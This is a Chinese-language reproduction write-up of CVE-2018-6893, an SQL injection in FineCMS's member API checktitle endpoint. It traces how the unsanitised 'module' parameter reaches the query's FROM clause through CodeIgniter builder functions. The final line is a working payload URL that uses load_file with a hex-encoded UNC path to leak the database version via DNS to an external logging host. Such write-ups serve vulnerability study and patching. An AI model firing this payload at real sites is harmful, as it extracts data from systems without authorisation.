CVE-2018-6893 Finecms SQL注入漏洞¶
一、漏洞简介¶
二、漏洞影响¶
三、复现过程¶
漏洞位置在:
finecms/dayrui/controllers/member/Api.php 590行左右
public function checktitle() {
$id = (int)$this->input->get('id');
$title = $this->input->get('title', TRUE);
$module = $this->input->get('module');
(!$title || !$module) && exit('');
$num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
$num ? exit(fc_lang('<font color=red>'.fc_lang('重复').'</font>')) : exit('');
}
可以看到方法count_all_results()使用了$module,count_all_results()
方法如下:
public function count_all_results($table = '', $reset = TRUE)
{
if ($table !== '')
{
$this->_track_aliases($table);
$this->from($table);
}
// ORDER BY usage is often problematic here (most notably
// on Microsoft SQL Server) and ultimately unnecessary
// for selecting COUNT(*) ...
if ( ! empty($this->qb_orderby))
{
$orderby = $this->qb_orderby;
$this->qb_orderby = NULL;
}
$result = ($this->qb_distinct === TRUE OR ! empty($this->qb_groupby) OR ! empty($this->qb_cache_groupby) OR $this->qb_limit OR $this->qb_offset)
? $this->query($this->_count_string.$this->protect_identifiers('numrows')."\nFROM (\n".$this->_compile_select()."\n) CI_count_all_results")
: $this->query($this->_compile_select($this->_count_string.$this->protect_identifiers('numrows')));
if ($reset === TRUE)
{
$this->_reset_select();
}
// If we've previously reset the qb_orderby values, get them back
elseif ( ! isset($this->qb_orderby))
{
$this->qb_orderby = $orderby;
}
if ($result->num_rows() === 0)
{
return 0;
}
$row = $result->row();
return (int) $row->numrows;
}
可以看到对传入的table参数进行了是否为空校验以及经过两个函数的处理,再跟进_track_aliases函数继续进行分析:
protected function _track_aliases($table)
{
if (is_array($table))
{
foreach ($table as $t)
{
$this->_track_aliases($t);
}
return;
}
// Does the string contain a comma? If so, we need to separate
// the string into discreet statements
if (strpos($table, ',') !== FALSE)
{
return $this->_track_aliases(explode(',', $table));
}
// if a table alias is used we can recognize it by a space
if (strpos($table, ' ') !== FALSE)
{
// if the alias is written with the AS keyword, remove it
$table = preg_replace('/\s+AS\s+/i', ' ', $table);
// Grab the alias
$table = trim(strrchr($table, ' '));
// Store the alias, if it doesn't already exist
if ( ! in_array($table, $this->qb_aliased_tables, TRUE))
{
$this->qb_aliased_tables[] = $table;
if ($this->qb_caching === TRUE && ! in_array($table, $this->qb_cache_aliased_tables, TRUE))
{
$this->qb_cache_aliased_tables[] = $table;
$this->qb_cache_exists[] = 'aliased_tables';
}
}
}
}
可以看到table在这个函数中经过了较多过滤,继续看下一个函数from:
public function from($from)
{
foreach ((array) $from as $val)
{
if (strpos($val, ',') !== FALSE)
{
foreach (explode(',', $val) as $v)
{
$v = trim($v);
$this->_track_aliases($v);
$this->qb_from[] = $v = $this->protect_identifiers($v, TRUE, NULL, FALSE);
if ($this->qb_caching === TRUE)
{
$this->qb_cache_from[] = $v;
$this->qb_cache_exists[] = 'from';
}
}
}
else
{
$val = trim($val);
// Extract any aliases that might exist. We use this information
// in the protect_identifiers to know whether to add a table prefix
$this->_track_aliases($val);
$this->qb_from[] = $val = $this->protect_identifiers($val, TRUE, NULL, FALSE);
if ($this->qb_caching === TRUE)
{
$this->qb_cache_from[] = $val;
$this->qb_cache_exists[] = 'from';
}
}
}
return $this;
}
可以看到经过这两个函数以及finecms本身get方法的过滤,能用的符号不多了,但是括号以及逗号都还能使用。
在测试的时候,如果传入的参数比如:module=1,则会爆表不存在的错误,并且可以看到查询的语句,而module参数位于from位置,也就是查询的表的位置,于是使用逗号分割查询的表,并使用dns外带数据
payload如下
http://url/index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(select load_file(concat(0x5c5c5c5c,version(),0x2e6d7973716c2e61687a6935672e636579652e696f5c5c616263)))) as total